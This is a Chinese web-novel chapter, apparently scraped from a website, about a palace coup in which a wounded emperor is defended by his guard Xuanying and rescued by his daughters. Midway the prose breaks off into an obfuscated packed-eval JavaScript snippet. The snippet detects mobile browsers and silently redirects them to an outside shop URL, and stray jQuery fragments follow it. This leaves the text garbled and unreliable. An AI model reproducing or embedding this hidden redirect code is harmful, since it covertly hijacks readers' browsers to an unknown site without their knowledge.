玄影如同一根绷紧的弓弦,纹丝不动地立在慕临泽的床榻前。


    他的目光如鹰隼般锐利,死死锁住邓毅手中那柄寒光凛冽的佩剑,连最细微的动作都不曾放过。


    眼前这剑拔弩张的场面,全因他那不成器的弟弟而起。


    当年那场冲天大火中,若不是皇上奋不顾身将他们兄弟从火海中拖出,他们早已化作焦炭。


    这份救命之恩,本该结草衔环以报。可他那弟弟非但不知感恩,反倒勾结外敌谋害恩人,这般忘恩负义的勾当,纵使到了九泉之下也无颜面对列祖列宗。


    弟弟变成如今这狼心狗肺的样子,全是他这个当兄长的过错。今日纵使拼上性命,他也绝不容许任何人伤慕临泽分毫。


    玄影的目光渐渐沉淀下来,像一潭深不见底的古井。


    他攥紧拳头,指节泛白,仿佛要将所有悔恨与决心都揉进掌心里。夜风掠过他的鬓角,带起几缕散落的发丝,却吹不散他眉宇间凝结的坚毅。


    他知道,有些债必须用血来偿。


    见慕临泽一言不发,皇后冷哼一声:“父亲还跟他们废什么话,如今这大半羽林卫都握在我们手里,还有些流窜不肯投降的大多也都被砍了头,眼下已经没有人能来救他们了,还不如此刻就将人杀了,以绝后患,至于国玺,就算找不到真的,随便请人来做个假的也能糊弄过去,反正大军在手,我们身后还有那位大人甚至是西昭撑腰,父亲还有什么好怕的?”


    听到这话,邓毅也觉得自家女儿说的很有道理。


    他点了点头,握紧了手中的长剑:“不错,既然如此,老臣便恭迎皇上下黄泉!”


    说着便一剑刺向慕临泽,剑锋闪烁着冷厉的寒光,让人瞧了就忍不住胆寒。


    慕临泽微微蹙眉,若是放在平日里躲开这一剑对于他来说是轻而易举,可现在被影一刺伤,他还没恢复,身体无力还泛着钝痛。


    玄影神色一凛,强撑着浑身是伤的身体几挡在慕临泽床前,一脚踢起凳子朝邓毅砸过去这才勉强挡住了他的长剑。


    邓毅面色难看,恶狠狠地盯着玄影:“我当你是那位大人的兄长才给你几分薄面,快点让开,不然休怪老夫伤你。”


    “老匹夫,就是我那混账弟弟也不敢这样与我叫嚣,若不是那一日他用了蒙汗药,你以为就他那点功夫能将我绑走?休说是你,就是他现在来了,也不敢与我过招!”


    玄影微微抬头,语气中满是不屑。


    若不是他此刻身受重伤,莫说是一个邓毅就是此时围在殿外的那些羽林军他也能不费吹灰之力的解决掉。


    但此刻只有他才知道自己到底受了多重的伤。


    听到这话,邓毅的脸色更加难看,他脸上浮现出一抹狰狞的笑容:“好啊,那老夫倒要看看是你一个人厉害,还是外面那些羽林军厉害!来人啊!”


    邓毅昂首挺胸地站在大殿中央,嘴角挂着胜券在握的笑意,满心期待着外面的羽林军冲进来为他助威。


    可时间一分一秒地过去,殿外原本嘈杂的脚步声和兵器碰撞声竟渐渐消逝,最终归于一片死寂。更令他心惊的是,竟没有一个人回应他的号令。


    他的眉头猛地拧成一团,转身望向殿门方向。


    不知何时,三道身影已悄然立在那里。当他的目光终于看清那三人的面容时,脸上的得意之色顿时僵住了,仿佛被人当头浇了一盆冰水。


    皇后也顺着他的视线看过去,一瞬间惊得睁大了眼睛,声音都拔高了几分:“慕锦岁!你,你怎么醒了!你这会应该已经毒发身亡了才对!”


    听到这话,慕临泽惊讶的看过去却发现自家女儿完好无损的站在那里,气色红润根本没有半点中毒的迹象。


    慕锦岁眉头一挑:“皇后娘娘瞧见我没死还真是失望啊,你以为慕如雪那杯毒酒必然能取我性命?”


    她说话的时候没有半点卡顿,声音宛如清泉叮咚般清脆,让人无法忽视。


    在场的众人自然都注意到了她的变化,慕临泽微微睁大眼睛。<b


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348119|192447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    r>“锦岁,你说话...”


    “是,爹爹,或许是因祸得福,那杯毒酒不仅没有要了我的命还让我彻底清醒了过来,甚至先天痴傻之症都已经痊愈,现在说话自然也与寻常人一样了。这还要多谢慕如雪和皇后娘娘呢。”


    慕锦岁脸上挂着笑容,看向皇后的时候声音中染上了几分嘲讽。


    她可是锦鲤之身,百毒不侵,那一杯毒酒对她根本不起作用,只是让她昏睡了一段时间罢了,阴差阳错之下还将她说话结巴的毛病也治好了。


    听到这话,皇后气的整个人都在颤抖,她眼中是掩饰不住的怨毒与愤恨。


    这个小贱人!竟然命这么大,连三步倒都对她不起作用!


    除了对慕锦岁病好的讶然,慕临泽此刻更多的是对站在她身旁的人的惊讶。


    “疏桐?你怎么赶回来了?”


    大公主慕疏桐身披银甲,那铠甲被烛火映照闪烁着光芒,挺拔的身姿透着不输男儿的英气。


    她手中那杆红缨长枪微微颤动,枪尖还沾着未干的血迹。


    “父皇。”


    她微微躬身行礼,声音清朗有力:“四妹妹前些时日托人送来密信,信中提及重阳夜宴恐有兵变。儿臣不敢怠慢,即刻点齐人马,昼夜疾驰回京。果然在入城时遭遇重重阻拦,所幸随行的戍边将士与沈家亲卫都是百战之师,现已肃清城外叛军,抵抗者就地斩杀,生擒者皆已收押。”


    说到这里,她抬头望向殿中已经完全呆住的邓毅和皇后,枪尖轻点地面:“唯独这二人仍在顽抗。”


    沈策目光冷峻地扫过众人,声音低沉:“启禀皇上,微臣已命人将太师府团团围住,邓氏一族无论嫡系旁支,皆已插翅难飞,请皇上定夺。”


    说完他缓缓俯身,行了一个庄重的大礼。


    沈玉林与宋哲生见状,立即会意,双双躬身拱手,声音洪亮地齐声道:“恳请陛下明正典刑!邓氏祸乱朝纲,勾结外敌,其罪当诛!皇后意图祸乱皇嗣血脉,其罪绝不恕!”